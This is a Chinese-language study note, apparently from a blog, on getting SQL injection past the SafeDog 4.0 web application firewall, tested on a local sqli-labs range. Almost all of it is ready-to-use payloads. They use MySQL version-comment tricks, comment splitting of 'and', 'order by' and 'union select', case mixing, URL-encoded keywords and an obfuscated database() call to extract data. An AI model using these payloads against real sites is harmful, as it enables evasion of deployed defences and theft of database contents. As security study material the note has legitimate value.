0x01前言
仅用作学习笔记,测试环境均为本地搭建。
0x02测试环境
Apache2.4+MySQL5.7
靶场:sqli-labs
安全狗4.0:安全狗这种基于正则的匹配还是比较好绕。
0x03绕过方法
绕过并不难,比如一些URL编码、大小写、16进制、内联注释、ASCII码、关键字替换等,这些基本方法大家都会,但是却绕不过。记住一句话:灵活组合有奇效!原理不写了。
1、and绕过
payload:?id=-1' and 1=1--+ 拦截
绕过payload:
?id=1' /*!44444and*/1=1--+
?id=1' and/*//*/1=1--+
存在但不仅限于这两种,灵活组合绕过方式多种多样。
其中
and => /*!44444and*/,这里面的版本44444,有很多版本数可以绕过,burpsuite进行fuzz一下。
and or 也可替换 && ||
2、order by绕过
order不拦截,by不拦截,但是组合起来就会拦截,所以还是老方法,灵活组合来绕过。
绕过payload:
?id=1' order/*//*/by 3--+
3、union select绕过
?id=-1' /*!union*//*//*//*!44444SelEct*/ 1,2,3--+
?id=-1'+union+distinct+select+ 1,2,3--+
?id=1'union (/*!/**/ SeleCT */ 1,2,3)--+
还有一种绕过方式,新get到的
union => /*!44444%75nion*/
select => /*!44444%%73elEcT*/
4、database()绕过
替换
database()=>/*!44444database/*/------/*/()*/
?id=-1%27%20/*!union*//*//*//*!44444Select*/%201,/*!44444database/*/------/*/()*/,3--+
0x04结语
变化太多太多了,我也只是写了一下自己的绕过,仅用于个人笔记。